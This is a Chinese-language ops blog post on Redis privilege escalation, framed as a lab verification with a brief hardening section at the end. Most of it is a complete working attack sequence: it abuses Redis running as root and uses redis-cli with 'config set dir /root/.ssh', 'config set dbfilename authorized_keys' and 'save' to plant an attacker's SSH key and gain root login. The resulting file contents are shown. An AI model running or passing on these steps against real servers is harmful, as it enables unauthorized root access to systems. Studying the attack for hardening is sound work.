运维技术交流,查看http-header

redis提权验证

redis提权

原理

1./root/.ssh/authorized_keys(ssh认证密钥存放目录)按照行读写只需将密钥写入改文件 即可通过你的key登录
2.redis保存数据value部分为明文
3.redis可以通过命令设置数据保存目录及保存数据的名字
4.我们则可以将密钥保存为一个key的value让后将数据保存至/root/.ssh/authorized_keys 即可实现登录

必要条件

1.因为主要依赖redis的保存数据的功能 所以redis的权限要足够(root权限)
2.只有redis是否有密码 bind是否安全都可以使用

验证测试

安装一个redis
yum install redis -y
更改redis启动用户为root

vim /usr/lib/systemd/system/redis.service 
[Unit]
Description=Redis persistent key-value database
After=network.target
After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/usr/bin/redis-server /etc/redis.conf --supervised systemd
ExecStop=/usr/libexec/redis-shutdown
Type=notify
User=root #更改用户 和用户组为root
Group=root
RuntimeDirectory=redis
RuntimeDirectoryMode=0755

[Install]
WantedBy=multi-user.target
设置设置redis的value值
# 因为默认redis保存 key和value是在同一行  我们这里加入换行符让我们的密钥可读
(echo -e "\n\n"; cat younglinuxer.pub; echo "\n\n") > pub.key
设置redis的key
# 123456是redis密码  ssh为redis设置 的键值
cat pub.key | redis-cli -h 192.168.71.136 -a123456 -x set ssh
设置redis保存数据
redis-cli -a 123456 -h 192.168.71.136 #登录到redis
config set dir /root/.ssh # 设置数据保存目录
config set dbfilename "authorized_keys" # 设置数据保存目录
save  # 保存
查看保存得数据
cat /root/.ssh/authorized_keys 
REDIS0007   redis-ver3.2.12
redis-bits󿿀򳨭e-Pused-mem`i
                         þ𠠡aaB

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAwQ2VZqXhUR9P+qwAI5x2fjbfvY/t9I+0rxsjaeRZHmcxxGqF3448qNZB+M5ha/FOw1bdklS6l4QAuxIf9rnIqRqMCbnl7mq813aQ4kVQIArAdSBJuQ8rmjwKLGd/ON37QwLvMwndyrfCV+JHSe/PuVpl+LcrgyaYI80kR17uPZO7V+piOa0ATBganHV+Y07u25/eM+2XEVftJ+uBAWRBLBKwlbJAZc3CotHHuwmbgGBGqKi5lU+NTmx9WpYi9zpyWwZ3BYEYTtNPOAjBVJxzE9WWY+NMTsTwlMUiJBf8JJtgMz41QUHYLvYE76IIyOhANwDcdtixKAHitN5w6X30E2/aMZr65bUqILNtSvZ5CfEzwOMQsN4vcWK9xsYieRIX4UPa1B+vphPFcVsE8oNAQGqXIrwz+Hg/iuRe0vtgPIFhXRKh/uK0xmmZ/U0tNKYFvXMb2UrAakuAIQ2S841UZ5zqZRJLxzIUc+2L10PNvhqGrA1n2AD8zexIO2gUSQJVs8+kCefEZeAbQVm90zzgswIzUU3+1SZiw/8LlvmO9wIFtfzm1z57YEjXmGoafx1mJlyU878g+//4TkJz2zzLQ67Qlu403JgLU5A+5yvNtDADJ142imW3DTt9xO8DL1BcmPHyuW+ThcK+4iIBLL69vOkGtMdez/EUH/LFFOAbl/0= OpenSSH-rsa-import-060721
\n\n
ÿ?0b!󿨈

最后用自己的密钥登录 即可

防范

主要操作基于redis可以设置数据目录
1.不要使用普通用户及root启动redis一般yum安装的都指定redis用户启动了 但是编译安装就需要注意了 
2.禁止config命令 rename-command CONFIG   ""